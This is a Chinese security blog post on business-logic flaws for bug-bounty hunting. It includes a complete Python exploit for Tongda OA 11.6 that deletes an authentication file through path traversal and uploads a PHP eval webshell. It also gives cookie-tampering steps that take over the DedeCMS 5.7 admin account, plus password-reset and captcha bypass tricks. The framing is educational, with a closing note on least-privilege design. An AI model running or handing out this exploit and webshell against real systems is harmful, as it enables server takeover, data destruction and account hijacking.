Src挖掘技巧分享 | 谈谈业务逻辑漏洞(三)

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: Src挖掘技巧分享 | 谈谈业务逻辑漏洞

越权访问漏洞课外复现:

通达OA11.6版本越权漏洞复现

环境搭建

现在通达官网已经把版本升级到了11.7,所以下载11.6版本需要自己寻找资源

傻瓜式安装,配置界面如下。完成安装之后就可以暂时不用管它了。记得接触80端口占用(一般是要把phpstudy关掉)

b9b21c072e89a501c885ac4c6d0c2322_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

安装完之后就可以访问网站首页了。这个漏洞复现手动过程比较容易,执行exp 写马就可以了

9d8c0393c415fba98414c91fcf8383ff_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

a9cc8945ddda3f31e1b6e98776da184a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

exp:

脚本内容如下,核心思路就是删除网站里的一个名为auth.inc.php的文件,进而越权拿shell

import requests#填写iptarget="http://ip/"#一句话木马的密码是qaqpayload="<?php eval($_POST['qaq']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#删除网站里的一个名为auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page:   print("[-]Failed to deleted auth.inc.php")   exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page:   print("[+]Filed Uploaded Successfully")   print("[+]URL:",url)else:   print("[-]Failed to upload file")

注意,该EXP不是无损EXP,会删除auth.inc.php让OA无法正常工作

adf336361d88d5230bb99034091ed73e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

蚁剑拿shell

程序执行之后出现了一个URL,为一句话木马所在位置。使用webshell管理工具(如蚁剑链接即可)

cabbf28b9b5f442a62af6c316fffa2ff_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

dedecms v5.7越权漏洞复现

环境搭建

利用phpstudy搭建,下载源码后copy进根目录安装即可

d55f9f470646b8c9d7bc30c105a5db64_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

用户名admin 密码admin进入后台,系统设置->系统基本参数->会员设置 将是否开启会员功能一栏调为是

0ff88cc42fb7d8dfa89f27ab4e772ca0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

接着返回网站主页,注册一个账号,记得不要设施安全提示问题

59e4583e04314b6e4275089704c5e5ce_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

接着回到后台将等待验证邮件修改为:”审核通过,提示填写完整信息”

effa17eb946e0c7a2ae344de22eb4251_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


进入 test123用户的个人中心,打开bp抓包,将DedeUserID_ckMD5覆盖为last_vid_ckMd5。修改完成后释放该包

c122e48aa70290e675f6659ff7004c23_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

此时发现test123用户变成了admin

c7cf91c47acd71998860e4fede1d0c70_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

使用F12打开控制台,进入储存,仍然是将DedeUserID_ckMD5覆盖为last_vid_ckMd5。将DedeUserID的值修改为test123.

刷新抓包,发送至repeater

将location后的网址从http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改为http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E

关闭代理访问即可修改管理员账户密码

dfee6f3ad7ae42b10a61ffb66030f13d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

后记

越权漏洞的产生归根究底,还是由于网站开发者和管理者授权意识的淡薄,授权的滥用。因此,授权应当遵守如下几条原则:

1.使用最小权限原则对用户进行赋权,对待权限做一只一毛都不多拔的铁公鸡

2.使用合理(严格)的权限校验规则;

3.使用后台登录状态作为条件进行权限判断(别动不动就瞎用前端传进来的条件)

密码找回处存在的逻辑漏洞

77f12a4e1b075f3e3e53f9a652baa254_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

方法很多,思路重复,这里挑重要的讲

返回凭证

返回凭证的三种方式:

\1. url返回凭证

\2. 抓包返回凭证

\3. 凭证在页面中

方法:

1. URL返回凭证

使用firefox的firebug查看请求链接,看链接中是否有验证码等密码找回凭证

2. 抓包直接返回

根据手机号找回密码后抓包,可以发现验证码直接显示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理)

3. 密码找回凭证在页面中

通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示



邮箱弱token

1.Unix时间戳 + md5

通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串。字符串解密,类似 1491293277(10位),可以判断为Unix时间戳。

重置他人密码只需利用他人邮箱发送重置密码邮件,在短时间内对Unix时间戳进行暴力破解,即可获得重置密码的链接

  1. 用户名

重置密码链接直接使用用户名进行区别,改变用户名即可更改他人密码

  1. 服务器时间

利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差1-2,而且可以猜测

出为服务器时间。所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历随机 token,就可以构造出未

知帐号的密码找回链接



生成可控token

举例:

例如当我们通过邮箱找回密码,正常流程下抓包查看提交验证码后返回的数据,有加密字符串,这个加密字符串和后面重新设置新密码URL链接中的加密字符串一样,所以可以利用这个加密字符串实现新密码url中的加密字符串可控。于是根据上面提交验证码的抓包,修改User 为其他用户(User有可能会使用md5加密),发送就可以返回其他用户的加密字符串。接着重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处,直接修改URL链接,加入加密字符串,可 以直接绕过验证码,重置密码。

验证码处存在的逻辑漏洞

df7f383838da66e3c01e608bbc55e1ab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

暴力破解

要了解常见验证码机制:


  1. 有的验证码输入正确一次,在一定时间内不用再输入。
  2. 有的验证码输入正确一次,会在你session中设定一个值,告诉服务器你已经通过验证码验证了。
  3. 有的验证码因为逻辑问题只是一个摆设,正常的逻辑为先对比验证码是否正确,再检测账号密码是否正确,反过来了就变成了摆设


时间、次数突破:

概念:重复提交携带验证码的数据包,查看返回包,判断次数

测试方法:

填写正确登录信息和验证码 –> 抓取提交数据包 –> 重复提交该数据包 –> 查看是否登录成功 –> 登录成功则存在验证码重复使用问题

回显测试:

概念:验证码直接由客户端生成,在回显中显示,可通过浏览器工具直接查看

测试方法:

\1. 在源码中显示。源代码审计,搜索源码中有无验证码

\2. 在COOKIE中显示。抓包时分析COOKIE中是否含有验证码

绕过验证码:

漏洞成因:

由于逻辑设计缺陷,可绕过验证,比如直接删除COOKIE或验证码参数可绕过、当验证不通过清空session时。验证码参数值为空时绕过等

测试方法:

Step1.输入正确账户信息和错误验证码,登录时抓包

Step2.删除COOKIE

Step3.客户端登陆成功

特殊姿势:篡改手机号

在需要手机号的短信验证处,抓包修改手机号,可能做到非本账号手机号获取能够编辑本账号的验证码

后记

逻辑漏洞看似复杂,乱花渐欲迷人眼。然而其实思路非常单一:先前端后后端顺序枚举各处漏洞点。其实考察的是你的耐心,细心,专心。

参考链接

https://blog.csdn.net/szming_/article/details/85317010

https://blog.csdn.net/weixin_44288604/article/details/108144165

相关文章
|
4月前
|
设计模式 安全 关系型数据库
PHP开发涉及一系列步骤和技术
【7月更文挑战第2天】PHP开发涉及一系列步骤和技术
137 57
|
3月前
|
存储 API 数据库
深入探索DDD与事件溯源:使用Entity Framework Core构建高效且可维护的领域驱动设计应用——从理论到实践的全方位指南,附带代码示例与最佳实践分享
【8月更文挑战第31天】本文通过实例介绍如何结合领域驱动设计(DDD)与事件溯源(Event Sourcing)及 Entity Framework Core(EF Core),构建高效且可维护的应用程序。DDD 强调业务逻辑与软件设计的紧密融合,而事件溯源则通过记录所有变更事件来重建状态。文章详细展示了创建基于 EF Core 的项目、配置数据库上下文、定义领域模型与事件,并存储和提交事件的具体步骤。通过这些技术,实现了复杂业务逻辑的持久化与重构,提高了应用程序的灵活性和扩展性。
84 0
|
4月前
|
SQL 安全 数据库
构建安全的Python Web应用是一项持续的努力,需要开发者时刻保持警惕,并采用最佳实践来预防各种安全威胁
【7月更文挑战第26天】构建安全的Python Web应用是一项持续的努力,需要开发者时刻保持警惕,并采用最佳实践来预防各种安全威胁
67 9
|
6月前
|
监控 安全 网络安全
网络安全行为可控定义以及表现内容简述
网络安全行为可控定义以及表现内容简述
94 1
|
安全 前端开发 Java
深入分析GadgetInspector核心代码(一)
深入分析GadgetInspector核心代码
243 1
深入分析GadgetInspector核心代码(一)
|
安全
|
存储 JSON 安全
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(二)
Src挖掘技巧分享 | 谈谈业务逻辑漏洞
467 0
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(二)
|
SQL 安全 前端开发
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(一)
Src挖掘技巧分享 | 谈谈业务逻辑漏洞
851 0
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(一)
|
缓存 安全 Java
深入分析GadgetInspector核心代码(三)
深入分析GadgetInspector核心代码
173 0
深入分析GadgetInspector核心代码(三)
|
存储 安全 Java
深入分析GadgetInspector核心代码(二)
深入分析GadgetInspector核心代码
102 0
深入分析GadgetInspector核心代码(二)